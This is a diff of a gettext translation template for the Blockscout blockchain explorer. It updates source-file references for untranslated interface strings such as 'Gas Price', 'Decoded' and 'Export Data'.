lib/block_scout_web/templates/transaction/overview.html.eex:179 +#: lib/block_scout_web/templates/transaction/overview.html.eex:179 #, elixir-autogen, elixir-format msgid "Date & time of transaction inclusion, including length of time for confirmation." msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:52 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:130 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:52 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:131 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:131 #, elixir-autogen, elixir-format msgid "Decimals" msgstr "" +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:32 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:32 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:38 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:38 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:53 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:53 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:34 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:42 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:57 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:73 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:43 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:43 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:51 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:51 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:66 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:66 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:82 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:82 #, elixir-autogen, elixir-format msgid "Decoded" msgstr "" -#: lib/block_scout_web/views/address_view.ex:365 -#, elixir-autogen, elixir-format -msgid "Decompiled Code" -msgstr "" - -#: lib/block_scout_web/templates/address/_tabs.html.eex:75 -#, elixir-autogen, elixir-format -msgid "Decompiled code" -msgstr "" - -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:17 -#, elixir-autogen, elixir-format -msgid "Decompiled contract code" -msgstr "" - -#: lib/block_scout_web/templates/address_decompiled_contract/index.html.eex:10 -#, elixir-autogen, elixir-format -msgid "Decompiler version" -msgstr "" - +#: lib/block_scout_web/views/internal_transaction_view.ex:23 #: lib/block_scout_web/views/internal_transaction_view.ex:23 #, elixir-autogen, elixir-format msgid "Delegate Call" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:181 -#: lib/block_scout_web/templates/address_contract/index.html.eex:189 +#: lib/block_scout_web/templates/address_contract/index.html.eex:211 +#: lib/block_scout_web/templates/address_contract/index.html.eex:211 +#: lib/block_scout_web/templates/address_contract/index.html.eex:219 +#: lib/block_scout_web/templates/address_contract/index.html.eex:219 #, elixir-autogen, elixir-format msgid "Deployed ByteCode" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:53 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:53 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:188 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:188 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:60 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:60 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:150 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:150 #, elixir-autogen, elixir-format msgid "Description" msgstr "" +#: lib/block_scout_web/templates/address/overview.html.eex:30 #: lib/block_scout_web/templates/address/overview.html.eex:30 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:166 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:166 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:127 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:127 #, elixir-autogen, elixir-format msgid "Details" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:159 #: lib/block_scout_web/templates/block/overview.html.eex:159 #, elixir-autogen, elixir-format msgid "Difficulty" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:145 +#: lib/block_scout_web/templates/address_contract/index.html.eex:181 +#: lib/block_scout_web/templates/address_contract/index.html.eex:181 #, elixir-autogen, elixir-format msgid "Displaying the init data provided of the creating transaction." msgstr "" -#: lib/block_scout_web/templates/csv_export/index.html.eex:24 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 +#: lib/block_scout_web/templates/common_components/_csv_export_button.html.eex:4 +#: lib/block_scout_web/templates/csv_export/index.html.eex:33 +#: lib/block_scout_web/templates/csv_export/index.html.eex:33 #, elixir-autogen, elixir-format msgid "Download" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#, elixir-autogen, elixir-format +msgid "Drop all Solidity contract source files into the drop zone." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:72 +#, elixir-autogen, elixir-format +msgid "Drop all Solidity or Yul contract source files into the drop zone." +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:18 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:18 #, elixir-autogen, elixir-format msgid "Drop sources and metadata JSON file or click here" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:67 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:67 #, elixir-autogen, elixir-format msgid "Drop sources or click here" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:28 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:28 #, elixir-autogen, elixir-format msgid "Drop the standard input JSON file or click here" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:22 -#, elixir-autogen, elixir-format -msgid "During times when the network is busy (i.e during ICOs) it can take a while for your transaction to propagate through the network and for us to index it." -msgstr "" - +#: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:6 #: lib/block_scout_web/templates/common_components/_minimal_proxy_pattern.html.eex:6 #, elixir-autogen, elixir-format msgid "EIP-1167" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:214 +#: lib/block_scout_web/views/transaction_view.ex:225 +#: lib/block_scout_web/views/transaction_view.ex:225 #, elixir-autogen, elixir-format msgid "ERC-1155 " msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:212 +#: lib/block_scout_web/views/transaction_view.ex:223 +#: lib/block_scout_web/views/transaction_view.ex:223 #, elixir-autogen, elixir-format msgid "ERC-20 " msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:213 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:40 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:40 +#, elixir-autogen, elixir-format +msgid "ERC-20 tokens (beta)" +msgstr "" + +#: lib/block_scout_web/views/transaction_view.ex:226 +#: lib/block_scout_web/views/transaction_view.ex:226 +#, elixir-autogen, elixir-format, fuzzy +msgid "ERC-404 " +msgstr "" + +#: lib/block_scout_web/views/transaction_view.ex:224 +#: lib/block_scout_web/views/transaction_view.ex:224 #, elixir-autogen, elixir-format msgid "ERC-721 " msgstr "" -#: lib/block_scout_web/templates/address_token/overview.html.eex:1 -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:104 -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:104 -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:146 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:53 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:53 #, elixir-autogen, elixir-format -msgid "ETH" +msgid "ERC-721, ERC-1155 tokens (NFT) (beta)" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:4 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:4 #, elixir-autogen, elixir-format msgid "ETH RPC API Documentation" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:76 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract/index.html.eex:82 +#: lib/block_scout_web/templates/address_contract/index.html.eex:82 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:30 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:22 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:22 #, elixir-autogen, elixir-format msgid "EVM Version" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:34 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:26 +#, elixir-autogen, elixir-format +msgid "EVM version details" +msgstr "" + +#: lib/block_scout_web/views/block_transaction_view.ex:7 #: lib/block_scout_web/views/block_transaction_view.ex:7 #, elixir-autogen, elixir-format msgid "Easy Cowboy! This block does not exist yet!" msgstr "" +#: lib/block_scout_web/templates/account/api_key/row.html.eex:16 +#: lib/block_scout_web/templates/account/api_key/row.html.eex:16 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:16 +#: lib/block_scout_web/templates/account/custom_abi/row.html.eex:16 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:27 +#: lib/block_scout_web/templates/account/watchlist_address/row.html.eex:27 +#, elixir-autogen, elixir-format +msgid "Edit" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Edit Watch list address" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:71 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:71 +#, elixir-autogen, elixir-format +msgid "Email notifications" +msgstr "" + +#: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:5 #: lib/block_scout_web/templates/transaction/_emission_reward_tile.html.eex:5 #, elixir-autogen, elixir-format msgid "Emission Contract" msgstr "" -#: lib/block_scout_web/views/block_view.ex:71 +#: lib/block_scout_web/views/block_view.ex:73 +#: lib/block_scout_web/views/block_view.ex:73 #, elixir-autogen, elixir-format msgid "Emission Reward" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:68 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:72 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:72 #, elixir-autogen, elixir-format msgid "Enter the Solidity Contract Code" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:22 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:22 #, elixir-autogen, elixir-format msgid "Enter the Vyper Contract Code" msgstr "" #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:11 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:11 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:10 #, elixir-autogen, elixir-format msgid "Error" msgstr "" -#: lib/block_scout_web/templates/transaction/_tile.html.eex:9 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:11 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:11 #, elixir-autogen, elixir-format msgid "Error in internal transactions" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:33 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:33 #, elixir-autogen, elixir-format msgid "Error rendering value" msgstr "" +#: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:10 #: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:10 #, elixir-autogen, elixir-format msgid "Error trying to fetch balances." msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:353 +#: lib/block_scout_web/views/transaction_view.ex:379 +#: lib/block_scout_web/views/transaction_view.ex:379 #, elixir-autogen, elixir-format msgid "Error: %{reason}" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:351 +#: lib/block_scout_web/views/transaction_view.ex:377 +#: lib/block_scout_web/views/transaction_view.ex:377 #, elixir-autogen, elixir-format msgid "Error: (Awaiting internal transactions for reason)" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:137 +#: lib/block_scout_web/templates/address/overview.html.eex:120 +#: lib/block_scout_web/templates/address/overview.html.eex:120 #, elixir-autogen, elixir-format msgid "Error: Could not determine contract creator." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:109 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:120 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:120 #, elixir-autogen, elixir-format msgid "Eth RPC" msgstr "" -#: lib/block_scout_web/templates/address/_current_coin_balance.html.eex:11 -#: lib/block_scout_web/templates/address/index.html.eex:5 -#: lib/block_scout_web/templates/address/overview.html.eex:181 -#: lib/block_scout_web/templates/block/overview.html.eex:215 -#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:24 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:82 -#: lib/block_scout_web/templates/layout/app.html.eex:48 -#: lib/block_scout_web/templates/transaction/_pending_tile.html.eex:20 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:43 -#: lib/block_scout_web/templates/transaction/overview.html.eex:403 -#: lib/block_scout_web/views/wei_helpers.ex:78 -#, elixir-autogen, elixir-format -msgid "Ether" -msgstr "" - +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:211 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:211 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:164 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:164 #, elixir-autogen, elixir-format msgid "Example Value" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:128 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:128 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:99 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:99 #, elixir-autogen, elixir-format msgid "Execute" msgstr "" -#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:55 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:54 #, elixir-autogen, elixir-format msgid "Expand" msgstr "" +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "Export" +msgstr "" + +#: lib/block_scout_web/templates/csv_export/index.html.eex:10 #: lib/block_scout_web/templates/csv_export/index.html.eex:10 #, elixir-autogen, elixir-format msgid "Export Data" msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:224 +#: lib/block_scout_web/templates/address_contract/index.html.eex:248 +#: lib/block_scout_web/templates/address_contract/index.html.eex:248 #, elixir-autogen, elixir-format msgid "External libraries" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:40 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:40 #, elixir-autogen, elixir-format msgid "Failed to decode input data." msgstr "" #: lib/block_scout_web/templates/address_logs/_logs.html.eex:35 -#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:37 +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:35 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:46 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:46 #, elixir-autogen, elixir-format msgid "Failed to decode log data." msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #, elixir-autogen, elixir-format msgid "Fast" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:265 +#: lib/block_scout_web/templates/address/overview.html.eex:249 +#: lib/block_scout_web/templates/address/overview.html.eex:249 #, elixir-autogen, elixir-format msgid "Fetching gas used..." msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:111 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:112 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:112 #, elixir-autogen, elixir-format msgid "Fetching holders..." msgstr "" +#: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:7 #: lib/block_scout_web/templates/address/_balance_dropdown.html.eex:7 #, elixir-autogen, elixir-format msgid "Fetching tokens..." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:212 -#: lib/block_scout_web/templates/address/overview.html.eex:220 +#: lib/block_scout_web/templates/address/overview.html.eex:196 +#: lib/block_scout_web/templates/address/overview.html.eex:196 +#: lib/block_scout_web/templates/address/overview.html.eex:204 +#: lib/block_scout_web/templates/address/overview.html.eex:204 #, elixir-autogen, elixir-format msgid "Fetching transactions..." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:239 -#: lib/block_scout_web/templates/address/overview.html.eex:247 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:122 +#: lib/block_scout_web/templates/address/overview.html.eex:223 +#: lib/block_scout_web/templates/address/overview.html.eex:223 +#: lib/block_scout_web/templates/address/overview.html.eex:231 +#: lib/block_scout_web/templates/address/overview.html.eex:231 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:123 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:123 #, elixir-autogen, elixir-format msgid "Fetching transfers..." msgstr "" +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:15 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:15 +#, elixir-autogen, elixir-format +msgid "Filter by compiler:" +msgstr "" + +#: lib/block_scout_web/templates/admin/dashboard/index.html.eex:16 #: lib/block_scout_web/templates/admin/dashboard/index.html.eex:16 #, elixir-autogen, elixir-format msgid "For any existing contracts in the database, insert all ABI entries into the contract_methods table. Use this in case you have verified smart contracts before early March 2019 and you want other contracts with the same functions to show those ABI's as candidate matches." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:39 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:7 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:7 +#, elixir-autogen, elixir-format +msgid "For contract" +msgstr "" + +#: lib/block_scout_web/templates/layout/_topnav.html.eex:44 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:44 #, elixir-autogen, elixir-format msgid "Forked Blocks (Reorgs)" msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:42 +#: lib/block_scout_web/templates/layout/_footer.html.eex:45 +#: lib/block_scout_web/templates/layout/_footer.html.eex:45 #, elixir-autogen, elixir-format msgid "Forum" msgstr "" +#: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:38 #: lib/block_scout_web/templates/address_internal_transaction/index.html.eex:38 #: lib/block_scout_web/templates/address_token_transfer/index.html.eex:40 +#: lib/block_scout_web/templates/address_token_transfer/index.html.eex:40 #: lib/block_scout_web/templates/address_transaction/index.html.eex:34 -#: lib/block_scout_web/templates/transaction/overview.html.eex:195 -#: lib/block_scout_web/views/address_internal_transaction_view.ex:10 -#: lib/block_scout_web/views/address_token_transfer_view.ex:10 -#: lib/block_scout_web/views/address_transaction_view.ex:10 +#: lib/block_scout_web/templates/address_transaction/index.html.eex:34 +#: lib/block_scout_web/templates/transaction/overview.html.eex:246 +#: lib/block_scout_web/templates/transaction/overview.html.eex:246 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:11 +#: lib/block_scout_web/views/address_internal_transaction_view.ex:11 +#: lib/block_scout_web/views/address_token_transfer_view.ex:11 +#: lib/block_scout_web/views/address_token_transfer_view.ex:11 +#: lib/block_scout_web/views/address_transaction_view.ex:11 +#: lib/block_scout_web/views/address_transaction_view.ex:11 #, elixir-autogen, elixir-format msgid "From" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:18 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:18 #, elixir-autogen, elixir-format msgid "GET" msgstr "" #: lib/block_scout_web/templates/block/_tile.html.eex:67 -#: lib/block_scout_web/templates/block/overview.html.eex:187 -#: lib/block_scout_web/templates/transaction/overview.html.eex:365 +#: lib/block_scout_web/templates/block/_tile.html.eex:67 +#: lib/block_scout_web/templates/block/overview.html.eex:189 +#: lib/block_scout_web/templates/block/overview.html.eex:189 +#: lib/block_scout_web/templates/transaction/overview.html.eex:430 +#: lib/block_scout_web/templates/transaction/overview.html.eex:430 #, elixir-autogen, elixir-format msgid "Gas Limit" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:345 -#, elixir-autogen, elixir-format +#: lib/block_scout_web/templates/transaction/overview.html.eex:404 +#: lib/block_scout_web/templates/transaction/overview.html.eex:404 +#, elixir-autogen, elixir-format, fuzzy msgid "Gas Price" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:258 +#: lib/block_scout_web/templates/address/overview.html.eex:242 +#: lib/block_scout_web/templates/address/overview.html.eex:242 #: lib/block_scout_web/templates/block/_tile.html.eex:73 -#: lib/block_scout_web/templates/block/overview.html.eex:178 +#: lib/block_scout_web/templates/block/_tile.html.eex:73 +#: lib/block_scout_web/templates/block/overview.html.eex:180 +#: lib/block_scout_web/templates/block/overview.html.eex:180 #, elixir-autogen, elixir-format msgid "Gas Used" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:418 -#, elixir-autogen, elixir-format +#: lib/block_scout_web/templates/transaction/overview.html.eex:489 +#: lib/block_scout_web/templates/transaction/overview.html.eex:489 +#, elixir-autogen, elixir-format, fuzzy msgid "Gas Used by Transaction" msgstr "" +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:3 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:3 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:18 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:18 #, elixir-autogen, elixir-format msgid "Gas tracker" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:257 +#: lib/block_scout_web/templates/address/overview.html.eex:241 +#: lib/block_scout_web/templates/address/overview.html.eex:241 #, elixir-autogen, elixir-format msgid "Gas used by the address." msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:60 #: lib/block_scout_web/templates/block/overview.html.eex:60 #, elixir-autogen, elixir-format msgid "Genesis Block" msgstr "" +#: lib/block_scout_web/templates/layout/_footer.html.eex:24 #: lib/block_scout_web/templates/layout/_footer.html.eex:24 #, elixir-autogen, elixir-format msgid "Github" msgstr "" +#: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:8 #: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:8 #, elixir-autogen, elixir-format msgid "Go to" msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:99 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:110 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:110 #, elixir-autogen, elixir-format msgid "GraphQL" msgstr "" #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:11 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:11 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:20 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:21 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:22 #: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:38 -#: lib/block_scout_web/views/block_view.ex:21 -#: lib/block_scout_web/views/wei_helpers.ex:77 +#: lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex:38 +#: lib/block_scout_web/views/block_view.ex:22 +#: lib/block_scout_web/views/block_view.ex:22 +#: lib/block_scout_web/views/wei_helper.ex:81 +#: lib/block_scout_web/views/wei_helper.ex:81 #, elixir-autogen, elixir-format msgid "Gwei" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:123 #: lib/block_scout_web/templates/block/overview.html.eex:123 #, elixir-autogen, elixir-format msgid "Hash" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:446 -#: lib/block_scout_web/templates/transaction/overview.html.eex:450 +#: lib/block_scout_web/templates/transaction/overview.html.eex:553 +#: lib/block_scout_web/templates/transaction/overview.html.eex:553 +#: lib/block_scout_web/templates/transaction/overview.html.eex:557 +#: lib/block_scout_web/templates/transaction/overview.html.eex:557 #, elixir-autogen, elixir-format msgid "Hex (Default)" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:107 +#: lib/block_scout_web/templates/transaction/overview.html.eex:224 +#: lib/block_scout_web/templates/transaction/overview.html.eex:224 +#, elixir-autogen, elixir-format +msgid "Highlighted events of the transaction." +msgstr "" + +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:108 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:108 #, elixir-autogen, elixir-format msgid "Holders" msgstr "" +#: lib/block_scout_web/templates/tokens/index.html.eex:48 +#: lib/block_scout_web/templates/tokens/index.html.eex:48 +#, elixir-autogen, elixir-format +msgid "Holders Count" +msgstr "" + +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:11 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:11 #, elixir-autogen, elixir-format msgid "However, in general, the" msgstr "" +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:19 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:19 #, elixir-autogen, elixir-format msgid "IMPORTANT: This information is a best guess based on similar functions from other verified contracts." msgstr "" #: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:42 -#: lib/block_scout_web/templates/transaction/_tile.html.eex:86 +#: lib/block_scout_web/templates/internal_transaction/_tile.html.eex:42 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:92 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:92 #, elixir-autogen, elixir-format msgid "IN" msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:26 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:56 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:56 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:48 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:48 #, elixir-autogen, elixir-format -msgid "If it still does not show up after 1 hour, please check with your sender/exchange/wallet/transaction provider for additional information." +msgid "If you enabled optimization during compilation, select yes." msgstr "" -#: lib/block_scout_web/templates/transaction/not_found.html.eex:12 +#: lib/block_scout_web/templates/address/overview.html.eex:135 +#: lib/block_scout_web/templates/address/overview.html.eex:135 #, elixir-autogen, elixir-format -msgid "If you have just submitted this transaction please wait for at least 30 seconds before refreshing this page." +msgid "Implementation" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:150 +#: lib/block_scout_web/templates/address/overview.html.eex:134 +#: lib/block_scout_web/templates/address/overview.html.eex:134 #, elixir-autogen, elixir-format -msgid "Implementation" +msgid "Implementation address of the proxy contract." msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:149 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:3 #, elixir-autogen, elixir-format -msgid "Implementation address of the proxy contract." +msgid "Include nightly builds" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:430 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:30 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:30 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:43 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:43 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:56 +#: lib/block_scout_web/templates/account/watchlist_address/form.html.eex:56 +#, elixir-autogen, elixir-format +msgid "Incoming" +msgstr "" + +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:29 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:23 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:23 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:23 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:23 +#, elixir-autogen, elixir-format, fuzzy +msgid "Index" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 +#: lib/block_scout_web/templates/transaction/overview.html.eex:537 #, elixir-autogen, elixir-format msgid "Index position of Transaction in the block." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:249 +#: lib/block_scout_web/templates/block/overview.html.eex:251 +#: lib/block_scout_web/templates/block/overview.html.eex:251 #, elixir-autogen, elixir-format msgid "Index position(s) of referenced stale blocks." msgstr "" +#: 